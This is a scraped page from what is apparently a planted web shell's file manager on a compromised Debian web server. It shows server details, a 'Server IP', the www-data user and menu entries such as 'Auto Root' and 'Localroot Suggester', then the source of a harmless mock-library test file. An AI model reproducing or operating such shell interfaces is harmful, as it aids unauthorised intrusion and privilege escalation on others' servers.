Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.112
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
lib /
python3 /
dist-packages /
mock /
tests /
Delete
Unzip
Name
Size
Permission
Date
Action
__pycache__
[ DIR ]
drwxrwxrwx
2020-08-25 15:28
__init__.py
146
B
-rwxrwxrwx
2016-10-06 09:34
__main__.py
623
B
-rwxrwxrwx
2016-10-06 09:34
support.py
552
B
-rwxrwxrwx
2016-10-06 09:34
testcallable.py
4.33
KB
-rwxrwxrwx
2016-10-06 09:34
testhelpers.py
28.03
KB
-rwxrwxrwx
2016-10-06 09:34
testmagicmethods.py
16
KB
-rwxrwxrwx
2016-10-06 09:34
testmock.py
49.29
KB
-rwxrwxrwx
2016-10-06 09:34
testpatch.py
55.03
KB
-rwxrwxrwx
2016-10-06 09:34
testsentinel.py
976
B
-rwxrwxrwx
2016-10-06 09:34
testwith.py
10.34
KB
-rwxrwxrwx
2016-10-06 09:34
Save
Rename
# Copyright (C) 2007-2012 Michael Foord & the mock team # E-mail: fuzzyman AT voidspace DOT org DOT uk # http://www.voidspace.org.uk/python/mock/ import unittest2 as unittest from mock import sentinel, DEFAULT class SentinelTest(unittest.TestCase): def testSentinels(self): self.assertEqual(sentinel.whatever, sentinel.whatever, 'sentinel not stored') self.assertNotEqual(sentinel.whatever, sentinel.whateverelse, 'sentinel should be unique') def testSentinelName(self): self.assertEqual(str(sentinel.whatever), 'sentinel.whatever', 'sentinel name incorrect') def testDEFAULT(self): self.assertIs(DEFAULT, sentinel.DEFAULT) def testBases(self): # If this doesn't raise an AttributeError then help(mock) is broken self.assertRaises(AttributeError, lambda: sentinel.__bases__) if __name__ == '__main__': unittest.main()